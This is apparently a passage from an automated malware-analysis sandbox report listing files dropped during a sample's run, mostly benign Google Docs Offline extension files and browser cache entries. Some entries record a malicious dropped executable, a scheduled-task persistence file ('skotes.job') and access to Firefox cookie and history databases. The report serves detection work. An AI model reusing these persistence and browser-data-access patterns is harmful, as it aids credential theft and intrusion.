SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsEBKEHJJDAA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1920512
Entropy (8bit):	7.950653148548105
Encrypted:	false
SSDEEP:	49152:hWl8DpZssVM7EYHnwQyZ61IVlAwJMfwAJnkP1Gb0Iga:hsSbG7bHnlyZ61k2kNY
MD5:	3DDA196E23D46002E364E5CAB7803F7A
SHA1:	FBA9B6B66FB54D04D82B412E41C61051D72CDABB
SHA-256:	8810EFDCED51FDEA03108E8062441F480727460876660C86EF372A8F7AE5FEB4
SHA-512:	375396E79FE038F2C91422DA9141C51F482B7C832C3E98DC3EBFC663CC42680AF9D6C8D236A179C518951B5478C36CB0FCE6CC69F43075B2985193BA827CF4DA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....yu....@.................................W...k.......H...................P.K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...mtubkuce.0....1..0..................@...fjbqbvbv......K......(..............@....taggant.0....L.."...,..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsEBKEHJJDAA.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4660929855308615
Encrypted:	false
SSDEEP:	6:r/zXUhXUEZ+lX1CGdKUe6tE9+AQy0lBzlpt0:Tz4Q1CGAFD9+nVBz/t0
MD5:	B2E08D24BD046FFB385760590F5E4AF1
SHA1:	B35F210BF460151B840AB3EFE5171DE75500B8A4
SHA-256:	22611F8F6234347494A877ACF31356DDDAC102981A93F46F515B5682D187ED3C
SHA-512:	1DD2EF84DFD0C7E4B04FE1DE836A10408C112E4EE86A8DD44C910C03FA0537FD233F3C578F590884AD2FCE77C48422DCEECA46DC69EBC5B979D8D2CA0518DC22
Malicious:	false
Preview:	.........i.K......F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................8.@3P.........................

Chrome Cache Entry: 578

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (793)
Category:	downloaded
Size (bytes):	798
Entropy (8bit):	5.135025335536425
Encrypted:	false
SSDEEP:	24:XkhZYxL6RfgnBBHslgT9lCuABuoB7HHHHHHHYqmffffffo:c6xL6hgnBKlgZ01BuSEqmffffffo
MD5:	8DBA8F4D27B46DB5B689D3737F2F3C19
SHA1:	ED15C53C64408F63092A095283758A1CF7B4A52F
SHA-256:	ADD6DCA777BB0504C3C2DBBD3610674865E08FA02078486159024AFB1F327FF7
SHA-512:	141BB6B53848B7CBD0385A4FB1FCD2A4BAA9364730B7741BA9883EE8740414F559979983CCE597DE83D57AB7AFB94F4C904D61A401D8FEBE2AFA3938D03746BF
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["arcane season 2 act 3","ada cardano price prediction","nintendo switch game deals","iceland volcano eruption blue lagoon","ohio state basketball bradshaw","james webb telescope","social security december ssi payment","mgm+ from season 4"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 579

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
